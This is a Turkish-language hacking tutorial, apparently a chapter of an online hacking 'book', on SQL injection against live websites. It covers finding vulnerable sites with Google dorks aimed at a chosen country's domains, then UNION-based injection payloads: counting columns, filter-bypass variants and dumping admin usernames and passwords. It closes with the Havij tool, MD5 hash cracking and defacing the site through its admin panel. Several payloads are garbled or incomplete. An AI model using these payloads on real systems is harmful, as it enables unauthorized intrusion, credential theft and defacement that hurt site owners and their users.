Merhaba Arkadaşlar , SQL Açığını Nasıl Kullanabiliriz ? Nasıl Bulabiliriz ? , Nasıl Yazabiliriz ? Bunları Anlatmaya Çalışacağım . Başlayalım.
Günümüzde Çok Yaygındır.
+SQL Açığı Neden Oluşur ?
-SQL Açığı Veritabanındaki Açıklardan Oluşur.
+SQL Açığı Nasıl Buluruz ?
- 2 Şekilde SQL Açık Olup Olmadığını Bulabiliriz.
1-)Manuel (Yani Elle Açık Arama)
2-)Web Açık Tarayıcı Programlarıyla Bulabiliriz ( Safe 3 , Acunnetix vb.)
+Peki SQL Açıklı Site Nasıl Bulabiliriz ?
- SQL Dorkları Yazarak Bulabiliriz
Örn : inurl:"faq.php"id=?
inurl:"book.php"id=? vb .vb
+Ama Ben SQL'de Hedef Ülke Sitelerine Saldırmak İstiyorum ?
-Evet Onuda Yapabiliriz.
Örn : inurl:"book.php"id=? Dork Yazdık Dorkumuza Şunu Eklmemiz Gerekiyor.
Örn : inurl:"book.php"id=? site:ülkeuzantısı ( Yani Ülkenin Kullandığı Uzantılar Çin:cn )
Ülke Uzantılarını Gövde Gösterisi >> Hérakles Hocamızın Sabitte Konusu Var Ordan Bulabilirsiniz.
+Dork'u Yazdık Siteyi Bulduk SQL Açığı Varmı Yokmu Nasıl Bileceğim ?
-www.örneksitemiz.com/index.php?id=54
id=54 Yazan Yere id=54'
>> www.örneksitemiz.com/index.php?id=54'
Yapıp Enter Tuşuna Basıyoruz.
Karşımızı Şu Hata Gelirse ;
Hata : You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1
Gibi Bir Hata Gelirse SQL Açığımız Var Demektir.
+Başka Nerlerde Arayabiliriz Bu Açığı ?
*Arama Kutusu
-Dorkunuzu Yazdınız Siteye Girdiniz Kenarda Biyerde Sitenin "Arama Kutusu" Var Oraya Tıklayıp ' Koyup Arayın SQL Hatası Gelirse Açık Var Demektir.
*Kayıt Formlarında
-Dorkunuzu Yazdınız Siteye Girdiniz Kenarda Biyerde Sitenin " Kayıt Olma"Bölümü Var
Ad Bölümüne : '
Yan Ad Bölümüne : '
Email : THTSQLHack
Şifre: 5548541254215454 (Ne Yazarsanız)
*Yorum Bölümlerinde
Dorkunuzu Yazdınız Siteye Girdiniz Altta " Yorum Atma " Bölümü Var Oraya Tıklayıp
' Koyup Arayın Varsa SQL Hatası Ekrana Gelecektir.
------------------
Saldırı Aşamaları :
İki Türlü Saldırı Yapılabilir Havij ve Manuel .
İlk Olarak Manuel İle Saldıralım.
1-)İlk Önce Sitenin Kolon Sayısını Öğreneceğiz .
2-)Kolonları Yansıtacağız.
3-)Tablo İsimlerini Çekeceğiz.
4-)Tablolardan İstediğmizi Alacağız ( Şifre - Email - Kullanıcı Adı)
Ve Saldırıyoruz ...
1-)Kolon Sayısını Öğrenme :
Site:örneksitemiz.com/index.php?id=30
Arkadaşlar Sitemizin Sonuna (order+by+sayı- ) ( - işaretini getirmeyi unutmayalım)
>> örneksitemiz.com/index.php?id=30+order+by+29-
Eğer Şöyle Bir Hata Gelirse :
Hata: Unknown column '10' in 'order clause Benzer Bir Hata Çıkarsa ;
>> Kolon Sayısı 29'dan Küçük Tek Tek Aşağı İniyoruz .
>>order+by+28- , order+by+27-, order+by+26 , Site Eski Haline Gelesiye Kadar İniyoruz .
>> order+by+25- ( Sayfa Burda Eski Haline Gelmiş İse KOLON SAYIMIZ 25'Dir . )
2-)Kolonları Yansıtma
Arkadaşlar Burda +union+select+kolon Teker Teker Yazıyoruz. (- Sitenin Sonuna Yine Eklenecektir.)
>>
URL Sonuna
>>
Şeklinde Olucak Kolon Sayımız Kaçsa Oraya Kadar Yazacağız.
>>
Şimdi Ekranı Sayılar Yansıyacak 10 ve 13 Yansıdı Diyelim. Bu Sayılardan Birini Seçip İşlemimize Devam Edeceğiz.Eğer Sayılar Yansımazsa Bypass Gerekecek.
>>Bypass
1) Normal: +union +select+1,2,3,4,5,6,7,25–
Bypass: +/*!union*/+/*!select*/+1,2,3,4,5,6,7,25–
2) Normal:+union +select+1,2,3,4,5,6,7,25–
Bypass: +union +(select+1,2,3,4,5,6,7,25–)
3) Normal:+union +select+1,2,3,4,5,6,7,25–
Bypass: +#union# +#select#+1,2,3,4,5,6,7,25–
3-)Tablo İsimlerini Çekmek
-Yansıyan Sayıları ( 10 ve 13) Birini Seçiyoruz .
-10 Seçelim.
A-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,database(),3,4,5, 6,7,8,..,24,25-
Bu Komut Sayesinde Sitenin VeriTabanı İsmini Öğreniyoruz.
B-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,version(),3,4,5,6 ,7,8,..,24,25-
Bu Komut Sayesinde Sitenin VeriTabanı Versiyonunu Öğreniyoruz.
C-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_contact(tab le_name),4,5,6,7,8,...,24,25+from+information_sche ma.tables-
– information_schema.tables = veritabanındaki tablo isimlerini gösterir
>>schema.tables yerini daha sonra şu komutu yazıyoruz.
– information_schema.columns = veritabanındaki kolon isimlerini gösterir
D-)www.örneksitemiz/index.php?id=30+union+select+1,2,group_concat(table_name),4,5,...,24,25+from+i nformation_schema.tables+where+tables_schema=datab ase()–
Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.
– Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız
– Bizim burada ilgileneceğimiz tablo ismi admin 'dir.
4-)Tablo İsimlerinden Veriyi Almak
-Adminin Verilerini Alacağız.
www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+fr om+information_schema.CoLumns+where+TabLeS_schema= database()+and+TabLe_Name=admin
Bu Kodu Gönderdikten Sonra Admin İçindeki Sütunlar Gelecektir. Gelen Sutünlar
ÖRN : user
passaword
phone number
Bize Lazım Olanlar " User ve Passaword "
>>
Şimdi Bize Lazım Olan Passaword ve User Sütunlarını Alalım
>>
www.örneksite.com/index.php?id=30+union+select+1,2,group_concat(user,password),4,5,6,7,8+ from+admin–
Kodunu Yazıp Sayfayı Yeniliyoruz.
>>
Ve Ekrana User ve Passaword Bilgileri Yansıyacaktır.
>>
Bilgileri Aldık Şimdi ( Admin Panelini ) Bulmamız Gerekecektir. (İntelli Tamper Programı Bu konuda İyidir)
--------------------------------------------------------
2.Yöntem :
Havij :
>> Havij Programını Açıyoruz .
>>Yukarıda "Target" Var Oraya Sitemizi Yazıyoruz.
Şeklinde ...
>>Analyze Tuşuna Basıyoruz Ve Arıyor...
>>Tarama Bittikten Sonra " Tables " Butonuna Basıyoruz .
>>Yandaki Seçeceğimiz Kutucuğa Basıp " Get Tables Diyoruz .
>>Dosyalarımız Aşağı İniyor . İstediğimiz Kutucuğa Basıp " Get Columms" Diyoruz
>>Dosylarımız Birdaha Aşağı İniyor.
>>Önemli Olan "USER ID , Passaword " Kutucuklarını Seçip " Get DATA " Diyoruz .
>> Ve BİLGİLERİMİZ Geliyor
>> Şifre md5 Halinde Olabilir. MD5'i Kırmanız Gerekir ( Hashkiller Bu Konuda İyidir )
>> Daha Sonra Admin Paneli Bulup Girip İndexlemek Kaldı.
ŞİMDİ OKUDUĞUN
Hack Ve Bilgisayara Dair Herşey
Non-FictionHack ve Bilgisayara dair herşey tek kitapta...